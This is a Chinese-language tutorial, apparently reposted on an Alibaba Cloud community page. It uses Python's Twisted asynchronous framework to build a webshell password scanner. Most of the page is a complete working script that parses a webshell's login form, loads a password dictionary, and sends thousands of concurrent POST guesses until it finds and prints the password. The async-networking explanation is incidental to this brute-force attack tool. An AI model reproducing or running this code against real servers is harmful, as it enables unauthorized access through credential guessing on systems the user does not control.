利用Python的Twisted架構實現webshell密碼掃描器的教程_python

來源:互聯網
上載者:User

好久以來都一直想學習windows中得iocp技術,即非同步通訊,但是經過長時間研究別人的c++版本,發現過於深奧了,有點吃力,不過幸好python中的twisted技術的存在方便了我。

     iocp即非同步通訊技術,是windows系統中現在效率最高的一種選擇,非同步通訊顧名思義即與同步通訊相對,我們平時寫的類似socket.connect  accept等都屬於此範疇,同樣python中得urlopen也是同步的(為什麼提這個,是因為和後面的具體實現有關),總而言之,我們平時寫的絕大多數socket,http通訊都是同步的。

    同步的程式優點是好想,好寫。缺點大家都應該感受到過,比如在connect的時候,recive的時候,程式都會阻塞在那裡,等上片刻才能繼續前進。

     非同步則是另一種處理思路,類似於xml解析的sax方法,換句話說,就是當面臨conncet,recive等任務的時候,程式先去執行別的代碼,等到網路通訊有了結果,系統會通知你,然後再去回調剛才中斷的地方。

      具體的代碼下面有,我就細說了,大概總結下下面代碼涉及到的技術

1.頁面解析,webshell密碼自動post,必然涉及到頁面解析問題,即如何去找到頁面中form表單中合適的input元素並提交,其中包括了hidden的有value,password的需要配合字典。具體實現靠的是SGMLParser

 2.正常的頁面請求,我利用了urlopen(為了使用cookie,實際使用的是opener),片段如下

  cj = cookielib.CookieJar()   opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))   req = urllib2.Request(url, urllib.urlencode(bodyfieleds))     resp = opener.open(req, timeout=60)       strlist = resp.read() 

 代碼簡單,這就是python的魅力,bodyfieleds即為post的參數部分,是一個字典

3.非同步頁面請求,這裡用了twisted的getpage片段如下:

  self.PostDATA[self.passw] = passl     #print temp   zs = getPage(self.url, method='POST', postdata=urllib.urlencode(self.PostDATA), headers=self.headers)   zs.addCallback(self.parse_page, self.url, passl).addErrback(self.fetch_error, self.url, passl)  

 可以看到如何利用getPage去傳遞Post參數,以及header(cookie也是防盜header裡面的)

以及自訂的Callback函數,可以添加寫你需要的參數也傳過去,我這裡使用了url和pass

4.協程並發,代碼如下:

    def InitTask(self):       for passl in self.passlist[:]:         d = self.addURL(passl)         yield d      def DoTask(self):       deferreds = []       coop = task.Cooperator()       work = self.InitTask()       for i in xrange(self.ThreadNum):         d = coop.coiterate(work)         deferreds.append(d)       dl = defer.DeferredList(deferreds) 

就是這些了。效率上,我在網路通訊較好的情況下,40s可以發包收包大致16000個

  

 # -*- coding: utf-8 -*-   #coding=utf-8         #   #   # code by icefish   # http://insight-labs.org/   # http://wcf1987.iteye.com/   #   from twisted.internet import iocpreactor   iocpreactor.install()   from twisted.web.client import getPage   from twisted.internet import defer, task   from twisted.internet import reactor   import os   from httplib import HTTPConnection   import urllib     import urllib2     import sys   import cookielib   import time     import threading   from Queue import LifoQueue   #import httplib2   from sgmllib import SGMLParser    import os   from httplib import HTTPConnection   import urllib     import urllib2     import sys   import cookielib   import time     import threading   from Queue import LifoQueue   from sgmllib import SGMLParser       class URLLister(SGMLParser):      def __init__(self):       SGMLParser.__init__(self)       self.input = {}     def start_input(self, attrs):        #print attrs              for k, v in attrs:         if k == 'type':           type = v         if k == 'name':           name = v         if k == 'value':           value = v       if type == 'hidden' and value != None:         self.input[name] = value       if type == 'password' :         self.input['icekey'] = name      class webShellPassScan(object):     def __init__(self, url, dict):       self.url = url       self.ThreadNum = 10       self.dict = dict     def getInput(self, url):       html, c = self.PostUrl(url, '')       parse = URLLister()       parse.feed(html)       return parse.input            def PostUrl(self, url, bodyfieleds):       try:                cj = cookielib.CookieJar()         opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))         req = urllib2.Request(url, urllib.urlencode(bodyfieleds))           resp = opener.open(req, timeout=60)                  strlist = resp.read()         cookies = []         for c in cj:           cookies.append(c.name + '=' + c.value)                  return strlist, cookies       except :              return ''               def parse_page(self, data, url, passk):       #print url              self.TestNum = self.TestNum + 1       if data != self.sret and len(data) != 0 and data != 'iceerror':         self.timeEnd = time.time()         print 'Scan Password End :' + time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(self.timeEnd))         print 'total Scan Time:' + str((self.timeEnd - self.timeStart)), 's'         print 'total Scan Passwords:' + str(self.TestNum)         print "*************************the key pass***************************\n"         print passk          print "*************************the key pass***************************\n"         reactor.stop()                                          if self.TestNum % 1000 == 0:             #print TestNum             sys.stdout.write('detect Password Num:' + str(self.TestNum) + '\n')             sys.stdout.flush()           def fetch_error(self, error, url, passl):       self.addURL(passl)     def run(self):            self.timeStart = 0         self.timeEnd = 0         self.TestNum = 0         self.sret = ''         print '\n\ndetect the WebShell URL:' + self.url         self.PassNum = 0              self.timeStart = time.time()         print 'Scan Password Start :' + time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(self.timeStart))         filepath = os.path.abspath(os.curdir)         file = open(filepath + "\\" + self.dict)         self.passlist = []                  for lines in file:                 self.passlist.append(lines.strip())           #print lines.strip()          file.close()         PassNum = len(self.passlist)         print 'get passwords num:' + str(PassNum)                  inputdic = self.getInput(self.url)         self.passw = inputdic['icekey']         del inputdic['icekey']         self.PostDATA = dict({self.passw:'icekey'}, **inputdic)         self.sret, cookies = self.PostUrl(self.url, self.PostDATA)          self.headers = {'Content-Type':'application/x-www-form-urlencoded'}         self.headers['cookies'] = cookies         print 'cookies:' + str(cookies)                  self.DoTask()         #self.DoTask2()         #self.DoTask3()         print 'start run'         self.key = 'start'         reactor.run()              def InitTask(self):       for passl in self.passlist[:]:         d = self.addURL(passl)         yield d               def InitTask2(self):       for passl in self.passlist[:]:         d = self.sem.run(self.addURL, passl)         self.deferreds.append(d)              def InitTask3(self):       for passl in self.passlist[:]:         d = self.addURL(passl)               self.deferreds.append(d)        def DoTask(self):       deferreds = []       coop = task.Cooperator()       work = self.InitTask()       for i in xrange(self.ThreadNum):         d = coop.coiterate(work)         deferreds.append(d)       dl = defer.DeferredList(deferreds)       #dl.addErrback(self.errorCall)       #dl.addCallback(self.finish)            def DoTask2(self):              self.deferreds = []       self.sem = defer.DeferredSemaphore(self.ThreadNum)       self.InitTask2()       dl = defer.DeferredList(self.deferreds)               def DoTask3(self):                     self.deferreds = []          self.InitTask3()       dl = defer.DeferredList(self.deferreds)            def addURL(self, passl):              self.PostDATA[self.passw] = passl         #print temp       zs = getPage(self.url, method='POST', postdata=urllib.urlencode(self.PostDATA), headers=self.headers)       zs.addCallback(self.parse_page, self.url, passl).addErrback(self.fetch_error, self.url, passl)             return zs         a = webShellPassScan('http://192.168.0.2:8080/f15.jsp', 'source_new.txt')   a.run() 

      

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.